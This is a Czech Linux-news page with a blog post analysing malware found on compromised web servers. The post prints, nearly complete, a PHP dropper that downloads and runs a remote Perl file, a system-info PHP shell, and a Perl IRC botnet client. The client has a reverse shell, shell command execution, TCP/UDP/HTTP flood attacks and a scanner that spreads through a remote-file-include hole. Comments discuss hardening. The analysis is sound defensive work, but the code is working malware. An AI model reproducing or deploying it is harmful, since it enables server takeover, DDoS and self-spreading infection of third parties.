Google Chrome 136 byl prohlášen za stabilní. Nejnovější stabilní verze 136.0.7103.59 přináší řadu novinek z hlediska uživatelů i vývojářů. Podrobný přehled v poznámkách k vydání. Opraveno bylo 8 bezpečnostních chyb. Vylepšeny byly také nástroje pro vývojáře.
Homebrew (Wikipedie), správce balíčků pro macOS a od verze 2.0.0 také pro Linux, byl vydán ve verzi 4.5.0. Na stránce Homebrew Formulae lze procházet seznamem balíčků. K dispozici jsou také různé statistiky.
Byl vydán Mozilla Firefox 138.0. Přehled novinek v poznámkách k vydání a poznámkách k vydání pro vývojáře. Řešeny jsou rovněž bezpečnostní chyby. Nový Firefox 138 je již k dispozici také na Flathubu a Snapcraftu.
Šestnáctý ročník ne-konference jOpenSpace se koná 3. – 5. října 2025 v Hotelu Antoň v Telči. Pro účast je potřeba vyplnit registrační formulář. Ne-konference neznamená, že se organizátorům nechce připravovat program, ale naopak dává prostor všem pozvaným, aby si program sami složili z toho nejzajímavějšího, čím se v poslední době zabývají nebo co je oslovilo. Obsah, který vytvářejí všichni účastníci, se skládá z desetiminutových
… více »Richard Stallman přednáší ve středu 7. května od 16:30 na Technické univerzitě v Liberci o vlivu technologií na svobodu. Přednáška je určená jak odborné tak laické veřejnosti.
Jean-Baptiste Mardelle se v příspěvku na blogu rozepsal o novinkám v nejnovější verzi 25.04.0 editoru videa Kdenlive (Wikipedie). Ke stažení také na Flathubu.
TmuxAI (GitHub) je AI asistent pro práci v terminálu. Vyžaduje účet na OpenRouter.
Byla vydána nová verze R14.1.4 desktopového prostředí Trinity Desktop Environment (TDE, fork KDE 3.5, Wikipedie). Přehled novinek i s náhledy v poznámkách k vydání. Podrobný přehled v Changelogu.
Bylo vydáno OpenBSD 7.7. Opět bez písničky.
Zkoumám takhle php soubor s injectnutým kódem začínajícím asi takhle
< ?php eval ( b a s e 6 4 _ d e c o d e ( ' a W Y o Z n V u Y 3 R p b 2 5 f Z X h p c 3..........')); ? >a při té příležitosti jsem našel kopec jiných souborů, které toho o sobě prozradily ještě o něco více. V dalším php souboru se nacházelo include("http://domena.tld/id.txt"). Tento soubor se snaží pomocí volání funkcí system, passthru, exec a shell_exec použít wget, curl, lwp-download, lynx, fetch a GET a poté vlézt do /tmp a uložit tam další soubor v perlu. Soubor se spustí a jeho obsah můžete vidět zde:
< ?php system("cd /tmp; wget http://nejakadomena.com/sela;perl sela"); system('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela'); system('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela'); system('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela'); system('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela'); system('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela'); passthru("cd /tmp; wget http://nejakadomena.com/sela;perl sela"); passthru('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela'); passthru('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela'); passthru('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela'); passthru('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela'); passthru('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela'); exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela"); exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela'); exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela'); exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela'); exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela'); exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela'); shell_exec("cd /tmp; wget http://nejakadomena.com/sela;perl sela"); shell_exec('cd /tmp;curl -O http://nejakadomena.com/sela;perl sela'); shell_exec('cd /tmp;lwp-download http://nejakadomena.com/sela;perl sela'); shell_exec('cd /tmp;lynx -source http://nejakadomena.com/sela;perl sela'); shell_exec('cd /tmp;fetch http://nejakadomena.com/sela>sela;perl sela'); shell_exec('cd /tmp;GET http://nejakadomena.com/sela>sela;perl sela'); system('rm -rf /tmp/*'); system('rm -rf /tmp/*.txt'); system('rm -rf /tmp/*.txt*'); system('rm -rf /tmp/*.txt.*'); ? > < ?php echo "31337IP adresu ovládacího irc serveru jsem smazal. Obsah souboru sela.txt zde:
"; $alb = @php_uname(); $alb2 = system(uptime); $alb3 = system(id); $alb4 = @getcwd(); $alb5 = getenv("SERVER_SOFTWARE"); $alb6 = phpversion(); $alb7 = $_SERVER['SERVER_NAME']; $alb8 = $_SERVER['SERVER_ADDR']; $alb9 = get_current_user(); $os = @PHP_OS; echo "UNITED #D-Devils By The King Sir|ToTTi
"; echo "os: $os
"; echo "uname -a: $alb
"; echo "uptime: $alb2
"; echo "id: $alb3
"; echo "pwd: $alb4
"; echo "user: $alb9
"; echo "SoftWare: $alb5
"; echo "PHPV: $alb6
"; echo "ServerName: $alb7
"; echo "ServerAddr: $alb8
"; $free = disk_free_space($alb4); if ($free === FALSE) {$free = 0;} if ($free < 0) {$free = 0;} echo "Free: ".view_size($free)."
"; $cmd="id"; $eseguicmd=ex($cmd); echo $eseguicmd; function ex($cfe){ $res = ''; if (!empty($cfe)){ if(function_exists('exec')){ @exec($cfe,$res); $res = join("\n",$res); } elseif(function_exists('shell_exec')){ $res = @shell_exec($cfe); } elseif(function_exists('system')){ @ob_start(); @system($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(function_exists('passthru')){ @ob_start(); @passthru($cfe); $res = @ob_get_contents(); @ob_end_clean(); } elseif(@is_resource($f = @popen($cfe,"r"))){ $res = ""; while(!@feof($f)) { $res .= @fread($f,1024); } @pclose($f); }} return $res; } function view_size($size) { if (!is_numeric($size)) {return FALSE;} else { if ($size >= 1073741824) {$size = round($size/1073741824*100)/100 ." GB";} elseif ($size >= 1048576) {$size = round($size/1048576*100)/100 ." MB";} elseif ($size >= 1024) {$size = round($size/1024*100)/100 ." KB";} else {$size = $size . " B";} return $size; } } exit; ? >
#!/usr/bin/perl use IO::Socket; srand; my $bPs = 'httpds /usr/lib/httpd -f /etc/httpd.conf'; my $aMaster = 'nix', 'Fugaru'; my $aHost = '*@fbi.ro'; my $sServer = 'ip-adresa-zde'; my $sPort = '6667'; my $sTimeOut = '300'; my $bChan = '#nixsl3'; my $bNickLen = '7'; chomp (my $bNick = `whoami`); chomp (my $bIrcName = `whoami`); chomp (my $bRealName = `uname -a`); my $bDelay = '2'; open(LOCK, '>/tmp/sess_F3wtx3es3wedxwa213s1x1ws1e32sx2') or die; unless(flock(LOCK, 4 | 2)) { die; } if(fork) { exit; } $0 = $bPs; $SIG{'INT'} = 'IGNORE'; $SIG{'HUP'} = 'IGNORE'; $SIG{'TERM'} = 'IGNORE'; $SIG{'CHLD'} = 'IGNORE'; package irc; use IO::Select; our $irc_socket; our $irc_select = new IO::Select; my $cur_nick; sub raw { print $irc_socket "$_[0]\n"; } sub mnick { my $nick = $_[1]; my @abc = ('a' .. 'z'); for(my $i=0;$i<$_[0];$i++) { $nick .= $abc[int(rand($#abc))]; } return $nick; } sub init { my $socket = IO::Socket::INET->new(PeerAddr => $_[3], PeerPort => $_[4], Proto => 'tcp', Timeout => '5') or return 0; if(defined($socket)) { $irc_socket = $socket; $irc_select->add($irc_socket); $irc_socket->autoflush(1); raw("USER ".$_[1]." 0 0 ".$_[2]); $cur_nick = $_[0]; raw("NICK $cur_nick"); return 1; } return 0; } sub loop { my $time_out = time; for(;;) { my @handles = $irc_select->can_read(1); if((time - $time_out) > $sTimeOut) { $irc_select->remove($irc_socket); $irc_socket->close(); last; } next unless(@handles); foreach my $handle (@handles) { my $datain;$handle->recv($datain, 1023, 0); my @lines = split(/\r\n/, $datain); foreach my $line (@lines) { if($line =~ m/^PING (:.+)/) { $time_out = time; raw("PONG $1"); next; } elsif($line =~ m/^\:.*\s+005\s+\.*/i) { raw("JOIN $bChan"); next; } elsif ($line =~ m/^\:.*\s+433\s+\.*/i) { $cur_nick = mnick($bNickLen, $bNick); raw("NICK ".$cur_nick); next; } run::bcmd("$line"); } } } } package run; use Socket; sub bcmd { my @line = split(/ /, $_[0]); my $RawMask = shift(@line); $RawMask =~ s/://;my ($Nick, $Mask) = $RawMask =~ /(.+)!(.+)/; #unless($Nick eq $aMaster) { return; } #unless($Mask eq $aHost) { return; } my $Type = shift(@line); unless($Type eq "PRIVMSG") { return; } my $To = shift(@line); $" = ' '; $line[0] =~ s/://;my $Text = "@line"; if ($Text =~ /^(\Q$cur_nick\E\s+\.|\.)(.+)/) { if($2 =~ /^nick\s*(.*)/) { if($1) { $cur_nick = $1; } else { $cur_nick = irc::mnick($bNickLen, $bNick); } irc::raw("NICK $cur_nick"); return; } if($2 =~ /^bye/) { irc::raw('QUIT :;'); exit; } return; } if ($Text =~ /^(\Q$cur_nick\E\s+\!|\!)(.+)/) { if(!fork) { if ($2 =~ /^eval\s+(.+)/) { eval "$1"; return; } if ($2 =~ /^rsh\s+(.+)\s+(\d+)/) { rsh($To, $1, $2); exit; } if ($2 =~ /^google\s+(\d+)\s+(.+)/) { spread::start($To, $1, $2); exit; } if ($2 =~ /^tcpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::tcp($To, $1, $2, $3); exit; } if ($2 =~ /^udpflood\s+(.+)\s+(\d+)\s+(\d+)/) { flood::udp($To, $1, $2, $3); exit; } if ($2 =~ /^httpflood\s+(.+)\s+(\d+)/) { flood::http($To, $1, $2); exit; } if ($2 =~ /^join (.*)/) { j("$1"); } if ($2 =~ /^part (.*)/) { p("$1"); } exit; } return; } if($Text =~ /^(\Q$cur_nick\E|\$sh)\s+(.+)/) { if(!fork) { bsh($To, $2); exit; } return; } if ($To eq $cur_nick) { if(!fork) { bsh($Nick, $Text); exit; } return; } } sub bsh { my $to = $_[0]; my $cmd = $_[1]; if($cmd =~ /cd (.+)/) { chdir("$1") or irc::raw("PRIVMSG $to :No such file or directory"); return; } my @sh_out = split(/\n/, `$cmd 2>&1 3>&1`); foreach my $line (@sh_out) { if($line) { irc::raw("PRIVMSG $to :$line"); sleep $bDelay; } } } sub j { &join(@_); } sub join { return unless $#_ == 0; irc::raw("JOIN $_[0]"); } sub p { part(@_); } sub part { irc::raw("PART $_[0]"); } sub rsh { irc::raw("PRIVMSG $_[0] :\002[RSH]\002 Sending..."); socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) or exit; connect(SOCKET, sockaddr_in($_[2], inet_aton($_[1]))) or exit; open(STDIN, ">&SOCKET"); open(STDOUT, ">&SOCKET"); open(STDERR, ">&SOCKET"); print "elxbot's connectback backdoor\n"; system('/bin/sh'); close(STDIN); close(STDOUT); close(STDERR); } package spread; sub start { irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scanning for ".$_[1]."''."); our $s_time = time; my $m_time = $_[1] * 60; #'' srand; my $bPath = '/tmp/sess_s4ex4t2c7w1d6ecsw3d1x1wwo521451'; my $rfi = ''; my $bLoc = 't'; my $cmds = "wget $BLoc -O $bPath; perl $bPath; rm -f $bPath"; $cmds =~ s/ /%20/g; while($m_time > (time - $s_time)) { my $dup = "";my @urls = google(); foreach my $url (@urls) { (my $host, my $tmp_path) = $url =~ /([\w\.\-\w]*)(\/\w*\/?)/; my $path = '/'; if($tmp_path =~ /(^\/\w+\/\w+\/$|^\/\w+\/$|^\/$)/) { $path = "$1"; } if($dup eq $host) { next; } $dup = "$host"; $url = 'http://' . $path . '/components/com_smf/smf.php?mosConfig_absolute_path=' . $rfi . '?'; my $sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => $host, PeerPort => 80) or next; print $sock "GET $url HTTP/1.1\nHost: $host\nAccept: */*\nConnection: close\n\n"; $sock->close(); } } irc::raw("PRIVMSG $_[0] :\002[GOOGLE]\002 Scan finished."); } sub google() { my $rnd=(int(rand(300))); my $n= 80; if ($rnd<300) { $rnd=(int(rand(300))); } my $msn= (int(rand(10)) * $n); my @domains = ('ac', 'ad', 'aero', 'af', 'ag', 'ai', 'al', 'am', 'an', 'ao', 'aq', 'ar', 'ar', 'as', 'at', 'au', 'aw', 'aw', 'az', 'ba', 'bb', 'bd', 'be', 'bf', 'bg', 'bh', 'bi', 'biz', 'bj', 'bm', 'bn', 'bo', 'br', 'bs', 'bt', 'bv', 'bw', 'by', 'bz', 'ca', 'cc', 'cd', 'cd', 'cf', 'cg', 'ch', 'ci', 'ck', 'cl', 'cm', 'cn', 'co', 'com', 'coop', 'cr', 'cs', 'cu', 'cx', 'cy', 'cz', 'de', 'dj', 'dk', 'dm', 'dz', 'ec', 'edu', 'ee', 'eg', 'eh', 'er', 'es', 'et', 'eu', 'fi', 'fi', 'fk', 'fo', 'fr', 'ga', 'gb', 'gd', 'ge', 'gf', 'gg', 'gh', 'gi', 'gl', 'gn', 'gob', 'gp', 'gq', 'gr', 'gs', 'gt', 'gu', 'gub', 'gw', 'gy', 'hk', 'hm', 'hn', 'hr', 'ht', 'hu', 'id', 'ie', 'il', 'im', 'in', 'info', 'int', 'io', 'iq', 'ir', 'is', 'it', 'je', 'jm', 'jo', 'jp', 'ke', 'kg', 'kh', 'ki', 'km', 'kn', 'kp', 'kr', 'kw', 'ky', 'kz', 'la', 'lb', 'lc', 'li', 'lk', 'lr', 'ls', 'lt', 'lu', 'lv', 'ly', 'ma', 'mc', 'md', 'mg', 'mh', 'mk', 'ml', 'mm', 'mn', 'mo', 'mp', 'mq', 'mr', 'ms', 'mt', 'mu', 'museum', 'mv', 'mw', 'mx', 'my', 'mz', 'na', 'name', 'nc', 'ne', 'net', 'nf', 'ng', 'ni', 'ni', 'nl', 'no', 'np', 'nr', 'nu', 'nz', 'om', 'org', 'pa', 'pe', 'pf', 'pg', 'ph', 'pk', 'pl', 'pm', 'pn', 'pr', 'pro', 'ps', 'pt', 'pw', 'py', 'qa', 're', 'rj', 'ro', 'ru', 'rw', 'sa', 'sb', 'sc', 'sd', 'se', 'se', 'sg', 'sh', 'sj', 'sk', 'sl', 'sm', 'sn', 'so', 'sr', 'st', 'su', 'sv', 'sy', 'sz', 'tc', 'td', 'tf', 'tg', 'th', 'tm', 'tn', 'to', 'tp', 'tr', 'tt', 'tv', 'tw', 'tz', 'ua', 'ug', 'uk', 'um', 'us', 'uy', 'uz', 'va', 'vc', 'vc', 've', 'vg', 'vi', 'vn', 'vu', 'wf', 'ws', 'xxx', 'ye', 'yt', 'yu', 'za', 'zm', 'zw'); my @str = (); foreach my $dom (@domains) { push (@str,"%22Powered+by+SMF%22+%2Bcom_smf+site%3A".$dom."%20"); } my $query = 'http://www.altavista.com/web/results?q='; $query .= $str[(rand(scalar(@str)))]; $query .= "&stq=$msn"; my @lst=(); #irc::raw("privmsg #debug :DEBUG only test googling: ".$query.""); my $page = http_query($query); while ($page =~ m/< a class=l href=\"?http:\/\/([^>\"]+)\"?>/g){ if ($1 !~ m/google|cache|translate/) { push (@lst,$1); } } return (@lst); } sub http_query { my $url = $_[0]; my $host=$url; my $query=$url; my $page=''; $host =~ s/href=\"?http:\/\///; $host =~ s/([\w\.\-\w]*)\/.*/$1/; $query =~ s/$host//; if ($query eq '') {$query='/';}; eval { local $SIG{ALRM} = sub { die "1";}; alarm 5; my $sock = IO::Socket::INET->new(PeerAddr=>"$host",PeerPort=>"80",Proto=>"tcp") or return; print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8) Gecko/20051111 Firefox/1.6\r\n\r\n"; my @r = <$sock>; $page="@r"; alarm 0; close($sock); }; return $page; } package flood; use POSIX; use Socket; our $s_time; sub tcp { irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'."); $s_time = time; my @SOCKET; while ($_[3] > (time - $s_time)) { for(my $i=0;$i<200;$i++) { socket($SOCKET[$i], PF_INET, SOCK_STREAM, getprotobyname('tcp')); fcntl($SOCKET[$i], F_SETFL(), O_NONBLOCK()); } for(my $i=0;$i<200;$i++) { connect($SOCKET[$i], sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1]))); } for(my $i=0;$i<200;$i++) { close($SOCKET[$i]); } } irc::raw("PRIVMSG $_[0] :\002[TCP-DDOS]\002 Finished."); } sub udp { irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Attacking ".$_[1].":".$_[2]." for ".$_[3]."'."); $s_time = time; my $socket; my $packets = 0; socket($socket, PF_INET, SOCK_DGRAM, 17); while($_[3] > (time - $s_time)) { send($socket, 0, 0, sockaddr_in(!$_[2]?int(rand(65500)+1):$_[2], inet_aton($_[1]))); $packets++; } close($socket); irc::raw("PRIVMSG $_[0] :\002[UDP-DDOS]\002 Sent ".$packets." packets."); } sub http { irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Attacking ".$_[1].":80 for ".$_[2]."'."); $s_time = time; my $querys = 0; while ($_[2] > (time - $s_time)) { my $socket = IO::Socket::INET->new(proto=>'tcp', PeerAddr=>$_[1], PeerPort=>80); print $socket "GET / HTTP/1.1\r\nAccept: */*\r\nHost: ".$1."\r\nConnection: Keep-Alive\r\n\r\n"; close($socket); $querys++; } irc::raw("PRIVMSG $_[0] :\002[HTTP-DDOS]\002 Sent ".$querys." querys."); } while(1) { if(irc::init(irc::mnick($bNickLen, $bNick), $bIrcName, $bRealName, $sServer, $sPort)) { irc::loop(); } sleep 10; } # # # # #GET IS A SHITTY FUCKING PROGRAM!Hostname nešťastníka hostujícího soubor jsem smazal stejně tak jako ip adresy a jména všech serverů v přílohách. Na začátku souboru sela.txt můžete vidět nastavení připojení k irc serveru, tak proč se tam nemrknout? Dál v podstatě není co popisovat. Na server se lze dostat bez problémů, uvítá vás seznam právě připojených zombíků a můžete je ovládat klasickými shellovými příkazy. Moc do hloubky jsem nešel, protože na cizí věci se nesahá a kontaktoval jsem všechny zainteresované strany, tedy kromě pana sušenky. Oběti jsou většinou webhosteři a v seznamu je dokonce jeden nameserver.
Tiskni
Sdílej:
Nejsmutnejsi je, jak se ten jeden server ve screenshotu hrde hlasi 2.6.30.4-grsec. Novy jadro, jeste s grsec a je to uplne na hovno.
A co se tyka cinnosti, asi bych tam zkusil nejak do cronu nebo do nejakyho top level index.php prihodit kod, kterej odesle na pozadi email na ruzny emailovy adresy patrici tomu spravci (root@domain, abuse@domain, info@domain) s textem neco jako "vas server se jmenem XYZ na IP ABC byl hacknut, prosim, zkontrolujte zabezpeceni". A dale bych pak pro jistotu smaznul tu diru, pres kterou se to aktivuje (pokud to neni prolejzani tisicovek php kodu a hledani).
Jak jsem psal pred chvili, grsecurity neochrani od chyby aplikace, akorat ji omezi (chrani pred buffer overflow, vylamovani se z chrootu atd.). Je pravda, ze meli zapnout trusted path execution (zabrani spousteni skriptu v /tmp), jenze kdyz je to hosting (tipuju) a uzivatel si udela permanentne writable adresar se skripty, tak nic nezabrani zapisu a spusteni utocnikova skriptu.
Celkem me prekvapil vzorek stroju - *BSD a Linux s grsecurity. Nejspis jde o prunik pres user-level aplikaci (coz by odpovidalo 'whoami'). Jinak z vypisu 'ps -ef' na grsecurity masine je videt, ze to mozna maj relativne slusne nastaveny - nevidi cizi procesy (zajimalo by mne jestli to crackeri pri prodeji/pronajmu botnetu zminuji ). Pridat jeste trusted path execution a skriptum v /tmp odzvoni.
True. Az ted jsem si vsiml, ze skript je volan "cd /tmp; perl blabla" misto "/tmp/blabla", kde TPE IIRC plati. Holt branit se vlastnim uzivatelum, zamestancum a jinym insiderum je nejtezsi